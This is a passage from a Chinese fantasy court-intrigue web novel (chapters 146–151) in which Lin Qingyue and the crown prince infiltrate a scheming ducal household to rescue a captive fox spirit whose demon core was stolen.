东方起一低头,就看到盒子滚落在脚边,掉出来一条沾着血的素白亵裤。
林倾月在里面骂:“东方宴简直是个变态,大清早恶心的我饭都吃不下!”
东方起走入厅堂,问全管家:“怎么回事?”
那全管家先是给东方起见了礼,然而才回道:“晋王一早派人来给我家主人送东西,说是主人落在晋王府的物品。没成想,居然会是……会是那种东西……”
林倾月道:“那不是我的。也不知道东方宴在发什么疯,送条别人的亵裤当礼物,这是什么奇葩脑袋能够想得出来的事?”
东方起问林倾月“你昨天和他谈和离的时候,有没有发生过什么特别的事儿?”
林倾月道:“也没什么特别的吧?他一开始不同意,我就威胁他,不同意就死。他果然怕死,然后又提出喝杯酒就签和离书。我怀疑那酒里有古怪,果然不出所料,下了药。”
“不过我也没拆穿,只是悄悄调换了酒。然后拿着和离书离开晋王府,再后来就去了天香楼和你们一起吃酒。”
东方起回头瞅了瞅那条染血的亵裤,又想起刚才东方宴在自己面前挑衅的那番话。
前后一联系,他顿时回过味来:“原来如此。”
林倾月也突然反应过来,“那亵裤还沾着血,
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该不会是他中了**后和别人……那为何要将那肮脏的东西送到我跟前?”
东方起挥了挥手,并退了左右侍从,这才对林倾月说了刚才和东方宴发生的事儿。
“他该不会以为和他发生关系的人是我?所以把那东西当成我的物件,送来提醒我?”
那一刻,林倾月都被气笑了。
“那个蠢货脑子里装的都是屎吗?还跑到你跟前,和你说那些有的没的。不嫌丢人吗?”
东方起当然不会和林倾月说,那是东方宴在离间他们的关系。
虽然东方起并不相信,可此刻弄清楚了一切,心中依然有些小小的雀跃。
他就知道月月这样的女子,不可能和东方宴藕断丝连。
“行了,不提那个狗东西了——全管家,以后晋王府送来的任何东西一概拒收——东方起,我们走。”
全福在后面喊道:“王爷,您早饭没吃!”
“不吃了!”
到了外面,林倾月上了马,东方起递过来用芭蕉叶包着的包子:“吃点吧,不然等一下没力气救人。”
林倾月那股恶心劲也过去了,拿着包子边吃边夸:“澜园的厨子是真不错,做的包点很好吃。听说你以前偶尔才来住一次,居然还配这么好的厨子?”
东方起道:“现在这个厨子,是从东宫调过去的。对了,你如今已经封了亲王,按照亲王的规格,朝廷会给你新建一座府邸。不过需要些时间,你有什么想法可以提。”
林倾月道:“新建的府邸哪有澜园的位置好,我就住澜园了,不必再额外建造。”
“那是自然,我给你选的府邸自然是顶好的。”东方起扬眉轻笑,语气里透着小小的得意。
林倾月坐在马背上,朝他拱了拱手:“那就多谢太子殿下厚赠了!”
“对了,昨晚你喝醉之后发生的时候还记得吗?”问这话的时候,他的语气里透着几分小心翼翼,但眼睛却一瞬不眨地盯着林倾月,不敢错过她脸上任何一个表情。
第146章 我一定会给你名分
对于东方起的提问,林倾月一概否认:“不记得!”
虽然她有点野心,可爬上屋顶当众说疯话,怎么看像个傻子。
“当真不记得?”东方起此刻的心情有些复杂,既怕她知道后生气——毕竟没有女人,喜欢在自己醉后被人轻薄。
又希望那些秘密也能在她心里落下不一样的痕迹。
“不记得!”林倾月否认得很干脆。
东方起又问:“那……阿灼是谁?你昨天喊了我一声阿灼。是那个灼?”
“阿灼……我,我喊了吗?”林倾月的心头咯噔一惊,难不成是喝醉之后把东方起当成了阿灼?
“啊,我想起来了!澜园有个婢女,叫阿左。她昨天说园子里的花开了,给我采了很多。所以日有所思,夜有所梦,我喝多了就梦见了跟阿左在采花,要是做了什么奇奇怪怪的举动。那也是在……采花!”
澜园里确实有个婢女叫阿左,东方起自然也认得。所以林倾月的那个解释,勉强能说得通。
林倾月还觉得自己挺机智,瞬间就找好了说辞。
谁知接着又听东方起道了一句:“可是你又说,阿灼是你的爱人。”
“我这样说了吗?”
死嘴,怎么什么都往外冒?
“说了,我听得真真切切。”东方起望着林倾月,眼眸里似乎带着某种期待。
“啊对了!是阿左说,桃花代表了爱情,将来我若有了爱人,就可以送他桃花。我可能喝多了,说话也是说一半漏一半,让你听岔了。”
“原来是这样。”
“对,就是这样没错。”
林倾月死鸭子嘴硬,不管怎么都不能承认自己说了不该说的胡话。
东方起原本还有几分期待,可听她这样义正言辞的解释后,也不禁觉得自己的想法有几分荒唐。
那原本就是潜意识里生出的一番春梦,自己居然妄想她知道梦里的一切。
想想也是,她怎么可能知道自己的梦?更可能知道他梦里的名字。以及在梦境里的耳鬓厮磨,夜夜春宵……
“是我听岔了。”东方起按下了不该有的念头。
林倾月也趁机转移了话头:“等一下到前边的路口,我就混到你的侍卫里,以侍卫的身份跟你一起进李国公府。届时,你牵制住李家的人,我悄悄去探查。”
东方起点头:“我会尽量多拖延些时间,你自己多加小心。一旦有什么问题就立刻撤回来。对了……”
他拿出一张符:“这张符你拿着,要是你有危险,我也能第一时间感应到。”
林倾月接过一看,微微诧异:“双生符?这不是我在赤影之地时给你的吗?”
可赤影之地时的那两张,早就已经失效了。
东方起说:“是我仿照你的双生符,自己画的。怎么样很像吧?”
确实很像,甚至连上面的符文起笔和落笔时的笔锋都完全一致。
林倾月意外之余,忍不住赞叹:“你竟是个奇才,只是看一眼就能复刻出来。”
双生符,是她的师父灼华仙君所创。
当初林倾月学的时候,还因为上面的符文太复杂难画,想偷懒放弃符箓之术。
灼华仙君严厉的批评之后,告诫道:“莫要小看符箓之术。待你力量不足,无法施展通天彻地的本事时,小小一张符纸就是你最好的武器,它能放大你的力量,让一切不可为变为可能!”
说罢,他抬手一挥,祭出的符箓化作千万支金色箭矢,令风云变色,铺天盖地地向林倾月笼来。
"啊!师父救命!"林倾月惊呼一声,眼看就要被射成个刺猬,然而金色的箭矢又突然变成了数点星光,落了她的一身。
“哇,好厉害!”她惊叹。也终于明白,为什么师父被称作为修仙界几千年来最好的符师。
双生符是师父特意为她而创,每次遇到需要她单独去历练完成的任务时,师父都会给她一张双生符,一旦遇到危险,师父便会立刻赶到化解。
林倾月冰雪聪明,认真起来,不过半天就学会了双生符的画法。可为了模仿师父的笔迹,又整整临摹了十天,才让每一笔每一画,每一个起笔落笔,都如出一辙。
而且东方起自小也修炼术法,能临画出双生符并不意外,可笔迹一模
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一样,而且还是原符已经失效损毁,全凭记忆的情况下临摹出来,这是连当初的她,都做不到的事。
“你怎么做到的?”林倾月问。
东方起道:“我只想记性好,看书过目不忘。你先前给我的符,虽然已经失效损毁,但我记住了上面的符文。画的时候,脑子里好像有个模板一挥而就。”
“所以你是一次就画成了?”林倾月愈发惊讶,转而又有些嫉妒:居然比我当年的天赋还好!
“东方起,你以前学过符术吗?”
“没有。”
“我父皇虽给我请了几个师父,但他们只会一些基础的术法。唯一会画符的师父,画的也是一些驱鬼避邪的符咒,效用不大。你是我见过,最年轻、最厉害的玄术师。”
几句话一说,林倾月顿时又美滋滋:“那是自然!看来你这么会说话的份上,要不我收你做徒弟,教你符箓之术。”
“不必!”东方起急忙拒绝,好不容易才摆脱了叔嫂的关系,再弄个师徒出来,那岂不是要一日为师,终身为母了?
“你嫌弃我?”林倾月皱眉,“你可知,能做我的徒弟意味着什么吗?”
东方起急忙解释:“我怎么会嫌弃你呢?我是太子,若拜师要禀告父皇、祭祀天地,还要册封你为太傅。步骤麻烦且不说,最重要的是你刚刚封了亲王,许多守旧派的老臣已经有些不满,一旦你做了我的太傅,他们就会担忧你下一步是否该涉政。那时,又要掀起一场风波。我是无所谓,只是怕给你带来麻烦。”
林倾月听着也觉得颇有道理,道:“皇家就是麻烦,规矩一堆。那行吧,你只能遗憾地和名师擦肩而过。”
东方起笑:“虽然不能让你做我的太傅,但你也可以教我画符。”
林倾月斜了他一眼:“你倒是会占我便宜,既不给名分,又想学我的本事?”
那一句“占我便宜”,莫名让东方起的脸色一红,又不知想到什么地方去了。
“我不占你便宜。等过阵子……”他语气严肃,一语双关,“只要你愿意,我一定会给你名分。决不食言!”
第147章 那就继续晾着他!
林倾月的想法很简单,东方起是未来的皇帝,趁着现在他和自己关系还不错,多和他绑定,多要些头衔,肯定多多益善。
虽说都是些虚衔没有实权,可是谁也不能保证那些虚衔,将来不会成为实权?
当然,作为回报,她会尽心尽力地教授东方起符箓之术。至于藏不藏私,那就看她心情了。
“那……你什么时候教我?”东方起问。
林倾月道:“有空就行。”
东方起继续循循善诱:“你白天要在玄镜司忙公务,我白天也有朝政要处理。不如傍晚之后,我去你府上?”
转念又觉得孤男寡女共处一室,影响她的名声,于是补了一句:“我让小灰也来。”
好家伙,还附带一个!看来是想把她的本事学光!
不过无妨,她不怕。于是道:“可以。”
东方起道:“那么以后每天酉时三刻,我和小灰一起去澜园找你。到时,记得给我留饭。”
林倾月吃惊:“你好不要脸,一分学费不给,还要来蹭饭?”
东方起笑容明朗:“那不正好是饭点吗?我下午一般要去内阁办公,忙完后若赶回东宫更衣、吃饭,再去你家就要到戌时之后了。上完课,总不能纸上谈兵?理论加实践,少说……也得一两个时辰。如此一来就到半夜三更了,影响你休息总不太好。”
林倾月想想也在理,于是点头:“那行吧,先这么定。”
末了又补了一句:“饭费得交。还有学费,学费也不能少。”
东方起得偿所愿,乐呵呵地应下了所有。
林倾月也得偿所愿:既能赚银两,还能和太子定下师徒的名分。以后自己在齐国,岂不是可以只手遮天了?
两人各怀算计,相视而笑,各得其乐。
不多久,东方起等一行人就到了李国公府。
侍卫上前敲开了大门:“太子殿下听闻国公病重,亲自探望。速速打开大门迎接!”
守门的阍人闻言大吃一惊,赶忙去禀报主人。
不多久,李家的大管事匆匆忙忙赶来,磕头见礼后,道:“太子殿下请见谅,我家老爷重病在床,接连数日无法下床。未免病气外传,故而命奴才紧闭大门,不敢见客。”
侍卫问:“除了李国公之外,李家就没有别的男子能出来答话的吗?”
管家毕恭毕敬地道:“家中男主除国公病在床上,无法起身外。其余老爷、公子皆已外出,后宅只有夫人、姨娘,以及未出阁的小姐,恐怕怠慢了贵客,不敢出来见驾。”
这就是千年世家门阀的底气,即便太子临门,想不见也有胆量拒绝。
东方起使了个眼色,手下侍卫拿出一份手谕,趾高气昂地道:“圣上忧心国公身体,特命太子殿下代为探病。圣谕在此,李家难道要一个管家来接旨吗?”
圣旨一下,那管家的脸色当场就变了。
太子登门探视可以当成私事,拒绝也就拒绝了。可一旦亮出了圣旨,那就是国事。
纵然李家是门阀之家,也不敢公然欺君。
于是,管家只好又进去禀报。
不多久,大开中门。李夫人,带着一堆女眷出来迎接太子殿下入府。
而李家的男人们,此刻都**在李国公的书房里。
“父亲,太子殿下一贯和我们李家没有过多交情。突然到访,恐怕别有意图。”
“我们东林府的矿山,被骆国公一锅端了,损失惨重。太子又恰好从那个方向回来,没准就是朝廷在背后针对我们李氏一族。”
“太子又如何?天子又怎样?流水的皇帝,铁打的世家!若没有我们这些世家大族鼎立支持,他们能坐稳这个天下?”
“住口!”李国公呵斥道,“不可胡言乱语!”
“大哥!”说话的是李国公的弟弟,李修,“李铎好好的去看玉,结果惨死矿山!而大哥你,不但将矿山拱手相让,还让李铎背负下罪名,永久从家族除名!那可是您嫡亲的儿子,本该是我们李家未来的家主啊!大哥,这仇你当真不报了吗?”
“报仇?如何报仇?”李国公无奈地叹气。
李修道:“当然是联合其他世家大族,把东方父子从那个位置上赶下来!”
“荒唐!”李国公呵斥道,“你真以为我们李家是无所不能的吗?”
“难道不是吗?”李国公的三子也附和李
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修,“我觉得二叔说得对!即便是皇家,不也嫉妒我们这些门阀世家吗?父亲您又位高权重,一呼百应,干嘛要看皇家的脸色?”
“你们真以为事情像你们所想的那么简单吗?”李国公哼一声。
“我们是千年门阀世家不假,可齐国国运深厚,各大节度使,节制一方,和我们这些世家互为制衡。没人愿意打破这个平衡,引起战火。更何况,皇家的背后,也有几大世家的支持。骆氏便首当其冲,有兵有权,还是太子的亲舅舅。谁能有必胜的把握去扳到皇族?一个不小心,便会引来灭族之危。”
“如今圣上忌惮,东林府之事愿意息事宁人,我们自然也要给圣上一个面子。”
李修道:“既然要给圣上面子,大哥你为什么还避而不见太子?”
李国公道:“本来只是想给太子一个下马威,谁知道他居然会带着圣谕。”
李修愤怒地道:“东方起属实狡猾。一开始不亮出圣谕,等我们说出家中没有男子主家时才亮出来。弄得现在我们骑虎难下,只能让女眷去迎接。”
李国公道:“如此也好。满堂女眷,他一个外男不方便久留。识相的话,应该立刻就走。”
“就是,我们不出来。他一个外男,也不好闯进后宅见父亲。否则毁了我们家中女眷的名声,正好可以到陛下面前告他一状!”
正说着,管家巴巴地跑过来。
李国公问道:“怎么样,太子可有要走的打算?”
管事摇了摇头道:“没有。”
李修急不可耐地问:“这都过去半个多时辰了,还不走?家里一个男人都没有,他怎么好意思留着不走?”
李管事道:“太子说,要等家中男主子回来,再来探望国公爷。否则,探病的任务完不成,不好向圣上交代。”
“他还真以为自己是探病的!”李修怒气哼哼地道,“谁不知道,称病只是一种对外的说法?你就算来看病,不过是走个过场,表达一下圣上的关切之意,然后就可以滚蛋了!他留着不走想干什么?想看大哥你躺在床上病歪歪的样子?”
李国公沉吟再三道:“那就继续晾着他!”
第148章 下毒?
前厅。
东方起已经喝完了,一杯茶杯,又和李夫人寒暄完毕。
眼看着李家男人都避而不见,如此一来,也没办法让林倾月去行动。
好在,对此情况他早有预判。
东方起忽然用手撑着额头,装出虚弱的模样。
手下人赶忙问:“殿下,您这是怎么了?”
东方起道:“不知为何,刚还好端端的。喝完了一杯茶,莫名觉得有些头晕目眩。”
侍卫当即大惊失色:“莫非茶中有毒!”
此话一出,李夫人就变了脸色:“这不可能,一壶水沏的茶。若有毒,那也先毒死我才对!”
说着,仿佛是为了验证自己的话,她捧着茶杯一口气喝干了里面的水。
东方起摆了摆手,虚弱的道:“夫人莫要着急,本宫相信国公之家忠心不二,更不会给本宫下毒。”
李夫人松了口气:“自然不可能,太子明鉴。”
谁知接着就听东方起又补了一句:“夫人您不会,但李家奴仆众多,会不会……本宫此刻头晕目眩的厉害。”
于是李夫人的一颗心又吊了起来:“李家家风严谨,府下奴仆,绝不敢胆大妄为,毒害太子。”
东方起就坐在那里蹙眉按着额头,一副痛苦不堪的模样。
侍卫着急地问:“殿下您脸色不对,来人速去宫里请太医来!再禀报陛下,说太子身体有恙,在离国公家站不起来了。”
李夫人忍不住瞪了那侍卫一眼:太子脸色不是好端端的吗?怎么就夸张成要**的样子?这侍卫真是一点都不沉稳!
谁知下一刻,太子忽然捂着胸口“噗”的一声,喷出的口血。
李夫人吓得惊叫一声站了起来:“殿下,您您……”
不会真是被下毒了吧?
就在李夫人不知该如何应对的时候,赶忙吩咐了人把这里的情况传给李国公。
不多久,李修带着几个子侄装模作样地从大门处进来。
一进来就开始告罪:“不知太子殿下到访,实在怠慢了。殿下,这是怎么了?”
他们本来是不想出来的。听说太子突然身体不适,虽然不知真假。可是如果真的在李家出了问题,那你家也就真的说不清了。
于是权衡之后,李家的男子也就不再装缩头乌龟了。装病的装病、出来见客的见客。
东方起前一刻还一副要**而亡的样子,见到李修后,淡定地擦了擦嘴角的血迹:“不必紧张,本宫刚才和李夫人聊天聊得畅快,一不小心咬到了舌尖。一点小伤口,叫你们受惊了。”
李家众人都有些无语:谁会一不小心就咬到舌尖的?更何况,刚才喷出的血量,怎么看都不像是不小心咬破的舌尖。
可太子这样说了,他们只好就坡下驴。
李修松了口气:“殿下无事就好。但既然殿下都吐了那么多血,不如……”
“不如去看看李国公吧。”东方起站起来,微微一笑,“带路吧。”
先前出来的都是女眷,他自然不好让女眷带着去后宅。
可此刻,你家的男人都来了,也就没有理由不让他去看李国公了。
推辞不了,李修只好做出了请的手势,带着东方起往后宅而去。
事以至此,李家其他的男丁们,凡是成年的也都陪在左右,表面上是为了尊敬。实则,一双双眼睛都盯着东方起,一刻不敢松懈。
大一大群人呼啦啦地离开后,林倾月则悄无声息地闪身离开。
李家若是设有私牢,应该会在前院,进出方便。
可是前院的建筑空阔一览无余,地底下也是夯实的,没有地下空间。
难道在李家的后宅?
后宅都是主人家居住的地方。
李国公的住所位于东跨院最核心、最大的一处园子,此刻拥满了人。
李国公以一副垂死病中惊坐起的虚弱样子,接受东方起的探望和慰问。
西跨院则有三个主院子,七个小院子。
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住着李家二房家,以及李国公的几个儿子。
此刻这里人少了许多,只有几个姨娘聚在一起闲话:
“听说太子来了,哎,可惜我女儿太小,若是再年长几岁说不定……”
“呵,别痴心妄想了。太子连咱们府嫡出小姐都看不上,怎么可能看中你生的庶女。”
“咱们是姨娘,生的女儿也做不得高门大户的主母。要我说,与其将来做妾,还不如嫁入寒门做妻。总好过以色事人,色衰之后就被人取代?”
“谁说不是呢?听说二爷新纳的妾长得很漂亮,一双眼睛狐媚勾人。也不知道,这次的新人又能笑几天呢?”
林倾月顺耳听了几句闲话,忽然脚步一顿:狐媚勾人,会不会是指红瑶?毕竟她那样的妖娆的女子,很容易让男人心动。
于是林倾月使了个术法,那几个坐在廊下晒太阳的姨娘,就睡了过去。
林倾月走到其中一个姨娘跟前,弹出一根手指头,用灵力探查了她的记忆。
在她的记忆里,果然有红瑶的身影:一袭红衣,脸色惨白,躺在床上一动不动。藕荷色的床褥上,全部血液染透。
接着,一声厉喝忽然传来:“滚出去!”
伴随记忆主人仓皇退出,关于红瑶的画面就此被切断。
“你在哪里看到她的?”林倾月带着蛊惑的声音,传入那女子的梦境里。
女子没有任何抵抗意识,愣愣地回答:“听雪轩”。
林倾月勾唇一笑:“多谢。”
刚才她已经把西跨院子都大致扫了一遍,听雪轩是整个西跨院最大的院落。没猜错的话,应该是李家二老爷,李修的住所。
不多久,林倾月就到了听雪轩。
避开门口的守卫,她轻而易举就进了内部。
听雪轩内的屋舍很多,林倾月挨个寻了一遍,也没寻到红瑶。
直到她来到了一间书房的时候,她才感应到了妖的气息。
红瑶就在附近!
第149章 找到红瑶了!
林倾月又在书房寻摸了一圈,最后摸到了一个机关,用力拧开,只听到“吱呀”一声,书架连同后面的墙壁都慢慢转开,露出一道暗门。
暗门过去就是间暗室,室内桌椅、床榻皆全,完全就是一个独立的卧室。
而红瑶就在里面!
她已经变回了狐狸的模样,火红的皮**,失去了往日的光彩。受伤的腿虽然不再流血,却已经肿胀腐烂。
“红瑶,红瑶!”林倾月喊了两声不见她应答,再一探她的身体,惊讶地发现她的腹部被刨开,丹田内的妖丹已经不见了。
妖类所有的修行都凝聚成了妖丹,妖丹一失,就变回了普通的狐狸,活不了多久了。
“红瑶,你撑住!”林倾月利用自身灵力,帮她医治身体上的损伤。
金色光芒拢在狐狸的周身,腹部的伤口慢慢开始愈合,腿上肿胀腐烂的地方也恢复了一些。
她浓黑卷翘的睫毛微微颤抖了一下,慢慢睁开了眼睛,看到林倾月的时候,眼中滚出泪来:“林小姐……”
可下一刻,她又急切地道:“你千万小心,那个李修很厉害,有很多能克制妖类的法宝。而且,他似乎在修行邪道,实力非常强大。”
林倾月问:“所以你的妖丹就是被他挖走的?我不是让你回京城之后,立刻就去玄镜司自首吗?”
红瑶道:“我去玄镜司之前,想最后看一眼苗东在大牢里的惨样。却没想到,正好撞到了他被人勒死的情景。我知道他这是被人灭了口,也不敢声张,便立刻去玄镜司。”
“我想着,玄镜司是林小姐和谢大人主管的衙门,应该很安全。到了玄镜司门口的时候,我看到有个中年男人从里面走出来,东张西望一番后,悄悄地往旁边的巷子里走去。”
“我觉得他的神情不太对劲。他鬼鬼祟祟的,好像生怕别人撞见似的。于是我就多了个心眼,尾随而去。”
“到了巷子里头后,对方就和另外一个穿着黑衣服的男人碰面。我躲在暗处偷听到他们谈话……”
黑衣服的男人问:“谢守正近来可有消息传回?”
对方答:“没有。”
黑衣服男人又道:“据苗东交代,此次东林府大小官员全部**,和一个狐妖有关。而且那狐妖是难得一见的极品红狐狸,有百年修为。她若是到了京城,肯定会到你们玄镜司,你多加留心。主人正好需要一颗上品妖丹。”
那玄镜司的人道:“那狐妖若来,保管逃不脱我们的手掌心。对了,苗东怎么样了?他从前见过我,一旦泄露了我的身份,以后我在玄镜司就呆不下去了。”
“放心,苗东已死,魂魄不留!”
就在这时,那人身上不知什么东西突然发出滴滴的声响,他惊呼一声:“有妖气!”
红瑶眼看暴露了,闪身就跑。
可那人乃是玄镜司出身,身上带着专门探查妖气的罗盘,一路追着红瑶而去。
期间两人动了手,那人本身的实力并不强大,但他身上有玄镜司的捕妖网,几次三番差点将红瑶网在其中。
红瑶好不容易从网里挣脱,又被他一剑射中了小腿。
最后,红瑶逃入了七街坊。
她本以为,能借着居民区潜藏一段时间。可没想到,对方很快就召唤来了援兵,为了抓她,不惜要纵火烧死整个坊里的人。
红瑶无奈,给林倾月留了线索之后,就拖着伤腿跳出了藏身之所。
在众多追兵的围追之下,她很快就被擒获,当天晚上就送进了李国公府。
也是在这里,红瑶见到了李修,被残忍剥去了妖丹。
她的尾巴无力地甩了下:“小姐,我不行了。”
气若游丝的声音里裹着释然,“能在死前见您一面,我已经……很开心了。我要去找姐姐了……”
那双曾流转着万种风情的眼眸,正一点点褪尽光彩,只剩死寂的灰。
“有我在,你死不了!”林倾月掌心处凝聚出大片的金光,尽数灌入红瑶的丹田。
失去妖丹的躯体本如将熄的残烛,却又在忽然间被点亮了生机。
很快一颗新的妖丹,再度凝聚成形,在她的丹田处缓缓流转,源源不断地送出生命之力。
刹那间,原本已经黯淡的狐狸**,慢慢恢复了原本的色彩
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很快,缩成一团的狐狸,又慢慢变成了人形。
林倾月轻蔑地道:“不就是一颗妖丹吗,我为你重铸就是!没有我的允许,即便阎王也休想将你收走!”
红瑶的眼睛再度睁开,慢慢地溢出了两行眼泪,“小姐……”
“噗嗤!”林倾月喉头一甜,喷出一口鲜血。
她心底忍不住暗叹一声:果然不同往日了,连重塑妖丹都这么麻烦。
“小姐!”红瑶大惊失色,满眼都是担忧。
林倾月毫不在意地擦了擦唇角血迹,脸上是不羁的笑容:“放心,我才不会用自己的命,去换你的命。不过是灵力一下子用得太猛了,有点透支了而已。缓一缓,就能恢复。”
她说得轻松,可红瑶知道,灵力透支乃是修行者大忌。
即便强者能在后期的调息中恢复过来,至少也需要几个月的时间。
而这段时间内,一旦有仇家寻来,将毫无自保能力。
林倾月随手扯下床幔披到红瑶身上,道:“别婆婆妈妈的,此地不宜久留,我们走!”
“好,走!”红瑶也不再墨迹,从床上跳下来。
谁知,就在那一瞬间,屋里的机关突然启动。整个房间的地面,突然消失。
林倾月和红瑶只觉脚下一空,不等反应过来,便已经被黑暗吞噬。
下一刻,房间的地板又突然出现,就连密室的门也缓缓关闭,一切恢复如初,仿佛什么都没发生过。
与此同时,东方起胸口的双生符发出滚烫的气息,隔着几层衣料都灼得他皮肤一痛。
月月出事了!
他脸色微变,猛地站了起来!
李修笑盈盈地问:“太子殿下怎么了?”
床榻之上,“虚弱”的李国公感动得涕泪横流:“臣教子不严,以至于让李铎那逆子犯下大错!陛下没有迁怒,还派了太子殿下亲自前来探病,实在叫老臣感动得无以复加!”
东方起没空和他虚与委蛇,立马告辞:“国公爷好生休养,本宫就不多做叨扰了。”
李国公挣扎着要起来,东方起道一句:“不必送!”匆匆忙忙地往外走。
第150章 不好了,太子又不肯走了!
走出东跨院的时候,东方起使了个眼色,手下人站出来报告:
“殿下,林副将刚才内急去如厕,都半个多时辰了人还没回来,不知是否走错路了。”
东方起眉头一皱:“国公府女眷众多,若是惊扰了夫人和小姐如何是好?来人,随本宫找人!”
说着,调转了方向直奔西跨院而去。
跟在他身后的李家众人,都被他这举动给弄得一头雾水。
太子的副将怎么会走丢?
怕惊扰夫人小姐?你带着一堆人横冲直撞,就不惊扰了?
“太子殿下,且慢!”李修急步跟上,喊着,“我吩咐下人去寻就是了,何必劳烦您亲自奔波!殿下,殿下!”
可东方起的脚步却是越走越快。
双生符指引的方向就是那里没错,林倾月到底发生了什么事?
东方起心底焦急,面上却依然一副从容不迫的模样,淡淡地道:“本宫的手下都是些粗人,之前陪着本宫上过战场,出生入死。若是找不到……”
他的语气一顿:“本宫就要让李国公给我一个交代!”
李修闻言一惊,给身后的侄儿使用了个眼神,那人立刻就跑去禀报李国公。
李国公刚刚下床,虚弱的摸样一扫空。
这时三子李锐急匆匆跑来:“父亲不好了,太子又不肯走了!”
李国公闻言一惊,正准备再躺回床上继续装病。
李锐道:“太子不是要来探病。不知为何,他没走两步,就说手下的副将在咱们国公府走丢了。为了找那名副将,太子带着人横冲直撞,满府搜寻去了!”
“什么?”李国公大怒,“东方起进如此无礼!空口白话一句失踪,就敢搜查我们国公府,简直太不把李家放在眼里了!”
说着说着,他忽然皱眉,“不对,太子不是那种鲁莽之人。从突然登门探病,逼得我们不得不出来应对,到现在又大张旗鼓地搜府,一定另有目的!难道是和……那个狐妖有关?”
李国公急忙询问儿子:“锐儿,那狐妖可处理干净?”
李锐道:“狐妖被二叔取丹之后,就没有什么大用了,应该早就处理掉了。”
“什么叫应该?”李国公有些不满地瞪了儿子一眼,“你二叔好色,那狐妖又颇有姿色。万一他没把那妖怪毁尸灭迹,叫太子殿下发现……”
李锐道:“殿下发现又怎样?反正妖怪都是上不得台面的东西,我们完全可以推脱说他自己跑进府里,被当成刺客关起来。更何况,狐妖都已经被剥了妖丹,就算不死,也活不了多久。太子还能为了一个妖怪,为难我们国公府?”
李国公道:“你也知道妖怪是不入流的东西?齐国世家大族更是不可能和妖怪为伍,若是叫人知道我们李家清贵名门,却干着剖丹杀妖,难免落人口实,为其他家族所不齿。就像玉石镇的那些事情,私底下再如何,没人会觉得过分。可若是放到明面上,那就不合适了。”
李锐赶忙垂下头:“父亲教训得对,倒是儿子思虑不周。”
李国公吩咐道:“我现在不适合出去,你去找你二叔确认那狐妖是否在还在府里。确定我们自己没有马脚露出,就让御史参太子一个乱闯私宅,惊扰女眷害其损命!”
“父亲此话何意?”李锐有些没反应过来。
“你上个月不是将你妻子的婢女弄大了肚子,因此闹得夫妻不和吗?父亲准你纳她为妾,可惜她红颜薄命,被太子的人惊扰流产,一尸两命。”
“父亲,可是……”
“可是什么?一个婢女而已,正好拿来用用。至于她肚里那没成型的孩子……就算生出来也不过是个庶出,上不得台面。若是能给东方起添些晦气,为死去的铎儿报仇,也算死得其所。”
“是父亲!”李锐虽然有些不舍,可他知道父亲一贯独断专行,他做出的决定没人能够更改。
“另外,再去通知赵国公,多叫些人来看太子惹祸,陛下才不好包庇。”
“是,儿子这就派人去!”
李国公唇边勾
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出一抹阴冷的笑:“东方起,你敢动我儿子,我李家绝不会让你坐上皇位!”
另一边,东方起已经到了李家的西跨院,这里大大小小院落众多。
亭台楼阁、花园布置精巧。
一路之上,难免会见到内宅的女眷。
女眷们突然遇到外男入内,都吓得不知所措。
如果是寻常时候,东方起时绝对不可能做这样冒犯的事情,可一旦关系到林倾月的安危,他就什么也顾不得了。
跟着双生符的指引,东方起进了听雪轩,最后又到了里面的书房门前。
李修上前拦住了他:“殿下您要找人,我们可以配合帮您找。但您这样堂而皇之登堂入内,于理不合。我李家是犯了什么大错吗?需要您摆出这样抄家的架势?”
东方起冷声道:“让开!”
李修挡在书房门前道:“您就算要抄家,请拿出有力的罪证,以及陛下的圣谕!否则……”
不等他说完,东方起一把将人推开,又一脚踹开了书房的门。
其他的李氏家族子弟见状都十分愤怒——哪怕对方是太子,可如此无礼,打的是整个世家门阀的脸面!
李修正要说什么,李锐从人群中挤了过来,压低声音询问:“先前那个狐妖,可处理干净了?”
见对方眼神有些闪躲,李锐问:“二叔你该不会真如父亲所说,动了色心?”
李修道:“什么色心?我怎会对一个**的妖怪动心?不过是觉得那一身皮**丢了可惜。想等她断气之后,把它炼制成傀儡,当个玩意耍。”
“再者,我喜欢看它在痛苦煎熬中一点点死去的样子,这才没有及时处理掉。没想到太子会突然造访,难道是因为那狐妖之故?”
他突然反应过来:“太子该不会喜欢上那狐妖了吧?它的人形长得确实漂亮,很勾人。”
李锐道:“既如此,还是得赶紧想办法免得露馅。否则叫太子把狐妖找出来,发现二叔你用邪术挖丹,传出去影响李家名誉。”
第151章 找到密室了
李修笃定地道:“放心,我刚才已经悄悄探查过,里面的机关和阵法皆已启动。太子绝对不可能找到!”
李修乃是李家庶子,传闻其生母乃是老国公的宠妾。有妖族的血统,因此生得极为美貌。生下李修不久后,生母不知何故病逝。
而李修是老国公夫人养大,和李国公自小亲厚。
老国公夫人去世后,老国公另娶了续弦,孩子也生了一个又一个,眼里再没有之前的一嫡一庶两个儿子。
后来子嗣内斗,在争夺国公之位的时候,李修不知用了什么手段,使得那些兄弟们或疯癫或出意外而死。
最后他扶持了大哥继承国公的爵位,也就是如今的李国公。
也是因为如此,李国公对李修这个弟弟格外宽厚,甚至把西跨院最好的院落都给了他。
李修不喜欢做官,却沉迷美色和术法,性格乖张而阴沉。
此刻,东方起已经不管不顾地冲到了李修的书房。
他的眼睛像鹰隼一般锐利,扫过几眼立刻就发现书架上摆着一个平平无奇的花瓶装饰。
豪门之家,若要摆放花瓶一定是名贵的古董。
而没有太高价值的花瓶,却摆在那样显眼的位置,必然有问题。
东方起正要过去查看那花瓶,李修先一步挡在书架时前:“殿下,书房里的一切一目了然,根本没有您要找的人。”
东方起道:“明面上没有,暗处也许会有。李二爷,若本宫没有看错的话,你身后的那个花瓶,应该是密室的启动开关吧?本宫怀疑,东宫失踪的副将不小心误触了机关,被锁在密室里。”
“大户人家,有几间密室不足为奇。而密室存放的,当然也是私人隐秘之物。无凭无据,只用怀疑二字,殿下就如此冒犯,传出去您的名声不要了吗?你让其他世家大族如何看待皇室?”
其他李家弟子,也是群情激动:
“当年齐国建立,高祖皇帝口口声声厚待各大士族,便是这样厚待的?”
“我们李氏家族沿袭上千年,为国为民鞠躬尽瘁,即便圣上亲临,也是礼遇有加。太子殿下若执意践踏,我等宁可死谏,也决不能受此羞辱,令祖先蒙羞!”
“没错,士可杀不可辱!太子若非要闯入,便从我们的尸体上踏过去!”
说话间,李氏家族的众多子弟就盘膝而坐,一副士可杀不可辱的高傲姿态。
东方起的眼神冷了下来:“不过一间密室而已,却百般阻挠本宫查看,莫非有什么大逆不道之物?越是如此,本宫就非进不可!”
“太子,你这是污蔑!”说话的是李锐。
